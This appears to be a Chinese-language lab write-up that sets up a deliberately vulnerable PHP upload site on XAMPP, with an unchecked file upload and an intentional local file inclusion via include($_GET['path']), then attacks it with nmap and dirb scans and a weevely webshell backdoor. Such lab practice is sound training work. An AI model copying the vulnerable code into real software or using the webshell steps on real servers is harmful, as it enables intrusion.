---
# System prepended metadata

title: LFI

---

LFI
===
架設：
1. install xampp
![](https://i.imgur.com/HqZMyv7.png)
https://www.apachefriends.org/zh_tw/index.html
2. setting http.conf
![](https://i.imgur.com/1Ch6Tvh.png)
Set http.conf ServerName Localhost:port、Listen port
![](https://i.imgur.com/jCUawIi.png)
![](https://i.imgur.com/XmafLqk.png)
change AllowOverride All
![](https://i.imgur.com/sCYQ2Dq.png)
### source
index.html
```php=
<html><body>
<script language="javascript">
	document.writeln("Have a good day.");
</script>

<form method="post" enctype="multipart/form-data" action="upload.php">
  <input type="file" name="my_file">
  <input type="submit" value="Upload">
</form>

</body></html>
```
upload.php
```php=
<?php
# 檢查檔案是否上傳成功
if ($_FILES['my_file']['error'] === UPLOAD_ERR_OK){
  echo '檔案名稱: ' . $_FILES['my_file']['name'] . '<br/>';
  echo '檔案類型: ' . $_FILES['my_file']['type'] . '<br/>';
  echo '檔案大小: ' . ($_FILES['my_file']['size'] / 1024) . ' KB<br/>';
  echo '暫存名稱: ' . $_FILES['my_file']['tmp_name'] . '<br/>';

# 檢查檔案是否已經存在
  if (file_exists('upload/' . $_FILES['my_file']['name'])){
    echo '檔案已存在。<br/>';
  } else {
    $file = $_FILES['my_file']['tmp_name'];
    $dest = 'upload/' . $_FILES['my_file']['name'];
# 將檔案移至指定位置
    move_uploaded_file($file, $dest);
  }
} else {
  echo '錯誤代碼：' . $_FILES['my_file']['error'] . '<br/>';
}
# LFI漏洞
echo '<br>(Prompt_lfi: File name passwd.txt )<br>';
$file =$_GET['path'];
include($file);
?>
```
3. set up web site
手法：

1.namp scan
>sudo nmap -sS -A -v [target]
>
nmap 掃完該IP，發現重要資訊apache且開啟8087埠
![](https://i.imgur.com/7meUami.png)

2.dirb web content
>dirb http://target/oo/XX/oo
>
![](https://i.imgur.com/D4hzWuk.png)

3.discovery
發現php資料夾底下有另一層apache

![](https://i.imgur.com/4VGeQXy.png)
程式運作時似乎發生了點問題
我們來試試Local File Inclusion
![](https://i.imgur.com/eh57OWU.png)
成功得分!!

4.upload webshell
另外dirb也有發現apache底下還有一層upload
![](https://i.imgur.com/fVAgW7M.png)
上傳成功
![](https://i.imgur.com/80Vrowu.png)

5.工具
生成：
>weevely generate[密碼][存放位置]
>
連接：
>weevely http://localhost/backdoor.php [密碼]
>


原文網址：https://www.freebuf.com/sectool/117085.html?replytocom=
